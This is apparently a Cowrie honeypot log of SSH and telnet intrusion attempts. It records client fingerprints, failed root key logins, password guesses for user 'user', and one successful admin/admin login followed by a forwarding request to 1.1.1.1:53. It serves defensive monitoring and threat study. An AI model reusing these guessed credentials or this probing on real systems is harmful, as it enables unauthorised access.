{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:20:a4:ff:e6:87:ff:4c:ea:c1:17:e6:6d:d8:b2:4f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJvb3vvSWBcHsN+Ca6k1rVyi8U5MJK1fbPT6pdrWL+dz","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b3:20:a4:ff:e6:87:ff:4c:ea:c1:17:e6:6d:d8:b2:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.104313Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:20:a4:ff:e6:87:ff:4c:ea:c1:17:e6:6d:d8:b2:4f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJvb3vvSWBcHsN+Ca6k1rVyi8U5MJK1fbPT6pdrWL+dz","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.108826Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.119503Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.128.179","src_port":37730,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ed62f06b4d3","protocol":"ssh","message":"New connection: 176.65.128.179:37730 (10.17.0.5:22) [session: 0ed62f06b4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:51.579682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:51.585105Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:51.675590Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:c0:f4:5f:8f:57:b1:9b:66:ef:81:e7:65:74:dd:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjOE/MpEGO7l2wjp9IPwYVIJljqxYTD/2jQbTt8FFO0zbPPZQIanHJ7wki5uk+Q4DbUbUo6wPkLh8DPX3nbVJwX9dg37ntmMenGe9KbXLiCnYQXxzqUIe4cL/2PwIRxBDpMwyvAPGglgEBzH5kvEm4zPstwQAqUpb1ZgD26jlTU3jTD48HUfFdpWaEquJGuBi4kKZzXIl4sXO9MYs5z2yPl3nSHQvWS9Uf4QpTGscWm8AZimNChDILeiVbRu+nIPDHmXeuT9zlYy5zvEtQ5QP9G6M0ma5gMt+ftCuMw/NT4JNmOXxfh29tQqir7DQjTB7Qq0+viIJ65O9QfOpdvyRz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:c0:f4:5f:8f:57:b1:9b:66:ef:81:e7:65:74:dd:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.097096Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:c0:f4:5f:8f:57:b1:9b:66:ef:81:e7:65:74:dd:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjOE/MpEGO7l2wjp9IPwYVIJljqxYTD/2jQbTt8FFO0zbPPZQIanHJ7wki5uk+Q4DbUbUo6wPkLh8DPX3nbVJwX9dg37ntmMenGe9KbXLiCnYQXxzqUIe4cL/2PwIRxBDpMwyvAPGglgEBzH5kvEm4zPstwQAqUpb1ZgD26jlTU3jTD48HUfFdpWaEquJGuBi4kKZzXIl4sXO9MYs5z2yPl3nSHQvWS9Uf4QpTGscWm8AZimNChDILeiVbRu+nIPDHmXeuT9zlYy5zvEtQ5QP9G6M0ma5gMt+ftCuMw/NT4JNmOXxfh29tQqir7DQjTB7Qq0+viIJ65O9QfOpdvyRz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.101291Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:54:22:e6:1a:b4:df:b9:68:c8:06:9b:c7:fb:01:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVX743JyKklxbCfQGt2i8+RibK87miY0n4g6UdaFA/ShBHiMvS+FxV5nIrRKYBVRHMiKdWNv+z7KXSQ9l0kcthUxPltZVs2itSEGhRRGbPSWf3CV8MDP129BAgWFYAnDjjWAjH7fuM9SbKi47nfbeFgRmatUh54hVHdxj3OqaH+EXvLdKpjoTMlB69eEgcVNfWCTAabyBoORaU0RkxmARu9CuL/Bhq4h8LkvnDI1yd+GLq9MULOCMePcpi+kyC11CZiPmRCWLwJ2CkvXeVQGykOphdujeISPNJMgz5nMR7CM/hGPI/ia3VNJMyfoTHYU4fhdT9KLRyKfZfpCjYnP7j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:54:22:e6:1a:b4:df:b9:68:c8:06:9b:c7:fb:01:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.190885Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:54:22:e6:1a:b4:df:b9:68:c8:06:9b:c7:fb:01:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVX743JyKklxbCfQGt2i8+RibK87miY0n4g6UdaFA/ShBHiMvS+FxV5nIrRKYBVRHMiKdWNv+z7KXSQ9l0kcthUxPltZVs2itSEGhRRGbPSWf3CV8MDP129BAgWFYAnDjjWAjH7fuM9SbKi47nfbeFgRmatUh54hVHdxj3OqaH+EXvLdKpjoTMlB69eEgcVNfWCTAabyBoORaU0RkxmARu9CuL/Bhq4h8LkvnDI1yd+GLq9MULOCMePcpi+kyC11CZiPmRCWLwJ2CkvXeVQGykOphdujeISPNJMgz5nMR7CM/hGPI/ia3VNJMyfoTHYU4fhdT9KLRyKfZfpCjYnP7j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.195061Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:56:10:25:6a:ba:da:88:d1:ba:f1:d7:14:3e:95:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdD3ju8bLnRJydoOKf6uUYHfJe5XvSMyWQn3y0vsXDHsU20vBfxyo30ueMufNsjSWdz0l2dchXTIO5hpllqFQYrTO71oAwGRCUysx9PdfB5PAshOCQ1x7gymFcYdfRIgcR9ysVkaWlxxN3/L62Z5fv99GUqAms0yIczU4hr4I/Z17pRs5mla5G9KoMHdadjfhCBRperEfKdoJmI2+hyhEJXyt6hEj89rAdNn/LbreY5YYnSi2ysOajTT3i0Z75jBHgCCGj7q51jrR2n4J6PabQJuPDEtdBgEF9uHdLBMCquUOUQUAp48t+QOjxCNr1JZNxQFexpiXVUj9snaElLCMn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:56:10:25:6a:ba:da:88:d1:ba:f1:d7:14:3e:95:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.289987Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:56:10:25:6a:ba:da:88:d1:ba:f1:d7:14:3e:95:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdD3ju8bLnRJydoOKf6uUYHfJe5XvSMyWQn3y0vsXDHsU20vBfxyo30ueMufNsjSWdz0l2dchXTIO5hpllqFQYrTO71oAwGRCUysx9PdfB5PAshOCQ1x7gymFcYdfRIgcR9ysVkaWlxxN3/L62Z5fv99GUqAms0yIczU4hr4I/Z17pRs5mla5G9KoMHdadjfhCBRperEfKdoJmI2+hyhEJXyt6hEj89rAdNn/LbreY5YYnSi2ysOajTT3i0Z75jBHgCCGj7q51jrR2n4J6PabQJuPDEtdBgEF9uHdLBMCquUOUQUAp48t+QOjxCNr1JZNxQFexpiXVUj9snaElLCMn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.294496Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:eb:72:f4:06:cd:92:82:aa:f6:69:53:10:ea:ad:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAX7u//sR+8o068IafLSr1TVycfI3Q5FMhWux3xktpnfOITtejeOg555vIM561/fiQCJFBGe+MZ2jv1wtbGAZfw1OOIy6skTlFLaeVPTDeWZ+Y8udftCaF1jliJDl51U223L39J1mFa2QcsniX/L+K5sljP27DzoQ8726oIKgHh6k4A4hocu7GDxou3ZDx1VG4k8kIMU3/jA9JTYsyj55uowHJmN5GX6QOFutXaj53SAkak3E9p8L43+vbl5rhmhzvoRgh1vZi85tl96d2Z9YvUjzNC7OSSGXgRXQJFvfSlUpboGAFXvLY99VCWdY9RFFsTNdU8+vMLXoP8ZJfjh99","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:eb:72:f4:06:cd:92:82:aa:f6:69:53:10:ea:ad:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.383924Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:eb:72:f4:06:cd:92:82:aa:f6:69:53:10:ea:ad:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAX7u//sR+8o068IafLSr1TVycfI3Q5FMhWux3xktpnfOITtejeOg555vIM561/fiQCJFBGe+MZ2jv1wtbGAZfw1OOIy6skTlFLaeVPTDeWZ+Y8udftCaF1jliJDl51U223L39J1mFa2QcsniX/L+K5sljP27DzoQ8726oIKgHh6k4A4hocu7GDxou3ZDx1VG4k8kIMU3/jA9JTYsyj55uowHJmN5GX6QOFutXaj53SAkak3E9p8L43+vbl5rhmhzvoRgh1vZi85tl96d2Z9YvUjzNC7OSSGXgRXQJFvfSlUpboGAFXvLY99VCWdY9RFFsTNdU8+vMLXoP8ZJfjh99","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.387836Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:bc:5c:89:68:ad:df:13:71:c2:6f:f4:60:b5:64:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD67vGermE8Kz8ty76/+rIfXDifOfvCa20YqGzXPsK2OxiINpMvVD/Nj5GaDbv4yG/QLqsidQKRYceKPzVhRkzurfTIO0TefrKYolKTqIRLNWw5AVY6cGBMI8EfEadIS9/gjl5wU9Ss1dX/9958bcxRGhZ5Wvo9ztt1fuCpTX9NVvrS7RGP/C528hG3ib85o6/cwIbl8MCGdVnllnlEnSfq/0G/Yb6+xITDCzbpnmgVNm2xj7299IUPX/pLtuWnze0eTebZL93ZYd+xxtD9l5JuvZ0ZneT5irkGW/uNip7Wp4vf887DS8VJ3mz75S54m+Ep8AfR+krOGnqk+5dbHjYw3g2C4M2T0n3QSMx4EkuuBxjdtgOG30o7KA/3TVSSBe8W5w+IP+Bc7UchZWE/AU0wsEFe9pYkEU1+Re9+88voGMW4sQmS5rKSKWKplz1lqEPYdESDsVcUT7T2JoqZXZbGaC+sedB3I1ijdOm7oEDBUiagqPOo52PKdjSs+ydAgNbIWPaLyJDz3wC7+fvur8SszQxkWn0f6WFzSmeT8jcl/mIYqnIPJxYqY5LaIhuJgc4Sfzi37WplKaMCILCbhl/GO2pwLFDKRIeDXcQ4cdqONJMIx3+ZtVDT++62V3Lk8DnrbubYWT3+v3fgBCWiBSK1xr5jZ0dd85PY1+PzpZtRXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:bc:5c:89:68:ad:df:13:71:c2:6f:f4:60:b5:64:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.477036Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:bc:5c:89:68:ad:df:13:71:c2:6f:f4:60:b5:64:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD67vGermE8Kz8ty76/+rIfXDifOfvCa20YqGzXPsK2OxiINpMvVD/Nj5GaDbv4yG/QLqsidQKRYceKPzVhRkzurfTIO0TefrKYolKTqIRLNWw5AVY6cGBMI8EfEadIS9/gjl5wU9Ss1dX/9958bcxRGhZ5Wvo9ztt1fuCpTX9NVvrS7RGP/C528hG3ib85o6/cwIbl8MCGdVnllnlEnSfq/0G/Yb6+xITDCzbpnmgVNm2xj7299IUPX/pLtuWnze0eTebZL93ZYd+xxtD9l5JuvZ0ZneT5irkGW/uNip7Wp4vf887DS8VJ3mz75S54m+Ep8AfR+krOGnqk+5dbHjYw3g2C4M2T0n3QSMx4EkuuBxjdtgOG30o7KA/3TVSSBe8W5w+IP+Bc7UchZWE/AU0wsEFe9pYkEU1+Re9+88voGMW4sQmS5rKSKWKplz1lqEPYdESDsVcUT7T2JoqZXZbGaC+sedB3I1ijdOm7oEDBUiagqPOo52PKdjSs+ydAgNbIWPaLyJDz3wC7+fvur8SszQxkWn0f6WFzSmeT8jcl/mIYqnIPJxYqY5LaIhuJgc4Sfzi37WplKaMCILCbhl/GO2pwLFDKRIeDXcQ4cdqONJMIx3+ZtVDT++62V3Lk8DnrbubYWT3+v3fgBCWiBSK1xr5jZ0dd85PY1+PzpZtRXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.480946Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:15:52.570264Z","src_ip":"176.65.128.179","session":"0ed62f06b4d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":18831,"dst_ip":"10.17.0.5","dst_port":22,"session":"35407da9fccd","protocol":"ssh","message":"New connection: 2.57.121.25:18831 (10.17.0.5:22) [session: 35407da9fccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:42.569247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:42.574506Z","src_ip":"2.57.121.25","session":"35407da9fccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:42.673823Z","src_ip":"2.57.121.25","session":"35407da9fccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12071993","message":"login attempt [user/12071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:43.146024Z","src_ip":"2.57.121.25","session":"35407da9fccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120688","message":"login attempt [user/120688] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:44.248244Z","src_ip":"2.57.121.25","session":"35407da9fccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120686","message":"login attempt [user/120686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:45.354200Z","src_ip":"2.57.121.25","session":"35407da9fccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12061977","message":"login attempt [user/12061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:46.457463Z","src_ip":"2.57.121.25","session":"35407da9fccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120585","message":"login attempt [user/120585] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:47.560669Z","src_ip":"2.57.121.25","session":"35407da9fccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:48.663460Z","src_ip":"2.57.121.25","session":"35407da9fccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":41302,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bf22c52d209","protocol":"telnet","message":"New connection: 79.139.59.21:41302 (159.203.135.109:23) [session: 6bf22c52d209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:48.705855Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6090,"dst_ip":"10.17.0.5","dst_port":22,"session":"df9c381d4b20","protocol":"ssh","message":"New connection: 87.251.64.176:6090 (10.17.0.5:22) [session: df9c381d4b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:53.413689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:53.418679Z","src_ip":"87.251.64.176","session":"df9c381d4b20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:53.513847Z","src_ip":"87.251.64.176","session":"df9c381d4b20","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:53.800406Z","src_ip":"87.251.64.176","session":"df9c381d4b20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:53.904493Z","session":"df9c381d4b20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:54.001530Z","src_ip":"87.251.64.176","session":"df9c381d4b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:16:54.099458Z","src_ip":"87.251.64.176","session":"df9c381d4b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.997042655944824,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:17:29.702785Z","src_ip":"79.139.59.21","session":"6bf22c52d209","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41428,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac27c2e9ec8c","protocol":"ssh","message":"New connection: 193.37.70.224:41428 (10.17.0.5:22) [session: ac27c2e9ec8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:20:53.481971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:20:53.487139Z","src_ip":"193.37.70.224","session":"ac27c2e9ec8c","protocol":"ssh"}
